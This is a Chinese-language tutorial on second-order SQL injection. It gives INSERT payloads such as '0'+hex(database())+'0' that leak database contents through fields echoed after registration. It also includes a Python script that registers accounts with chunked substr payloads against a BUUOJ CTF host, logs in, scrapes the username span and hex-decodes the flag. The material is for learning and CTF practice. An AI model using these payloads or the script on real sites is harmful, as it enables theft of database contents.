通常二次注入的成因会是插入语句,我们控制自己想要查询的语句插入到数据库中再去找一个能显示插入数据的回显的地方(可能是登陆后的用户名等等、也有可能是删除后显示删除内容的地方~),恶意插入查询语句的示例如下:

1
2
3
insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq.com')

insert into users(id,username,password,email) values(1,'0'+substr((select hex(hex(select * from flag))),1,10)+'0','123456','123@qq.com')

需要对后端的SQL语句有一个猜测

这里还有一个点,我们不能直接将要查询的函数插入,因为如果直接插入的话,'database()'会被识别为字符串,我们需要想办法闭合前后单引号的同时将我们的查询插入,就出现了'0'+database()+'0'这样的构造,但是这个的回显是0,但是在我们进行了hex编码之后就能正常的查询了,也就是上面出现的'0'+hex(database())+'0'

注入流程

首先找到插入点,通常情况下是一个注册页面,register.php这种,先简单的查看一下注册后有没有什么注册时写入的信息在之后又回显的,若有回显猜测为二次查询。

1
2
3
insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq.com')

insert into users(id,username,password,email) values(1,'0'+substr((select hex(hex(select * from flag))),1,10)+'0','123456','123@qq.com')

构造类似于values中的参数进行注册等操作,然后进行查看,将hex编码解码即可,可能会有其他的先限制,比如超过10位就会转化为科学计数法,我们就需要使用from for语句来进行一个限制,可以编写脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import string
import re as r
import time
ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://9a88c359-4f55-44e9-9332-4c635c486ef0.node3.buuoj.cn/'

def register(email,username):
url1 = url+'register.php'
data = dict(email = email, username = username,password = '123')
html = re.post(url1,data=data)
html.encoding = 'utf-8'
return html

def login(email):
url2 = url+'login.php'
data = dict(email = email,password = '123')
html = re.post(url2, data=data)
html.encoding = 'utf-8'
return html


hex_flag = ''
for j in range(0,17):
payload = "0'+(select substr(hex(hex((select * from flag))) from {} for {}))+'0".format(int(j)*10+1,10)
email = '{}@qq.com'.format(str(j)+'14')
html = register(email,payload)
# print html.text
html = login(email)
try:
res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
hex_flag += str(res[0]).strip()
print hex_flag
except:
pass
time.sleep(1)
print hex_flag.decode('hex').decode('hex')

基本的注入类型暂时告一段落了,下一篇,我会写出一些关于绕过的手法。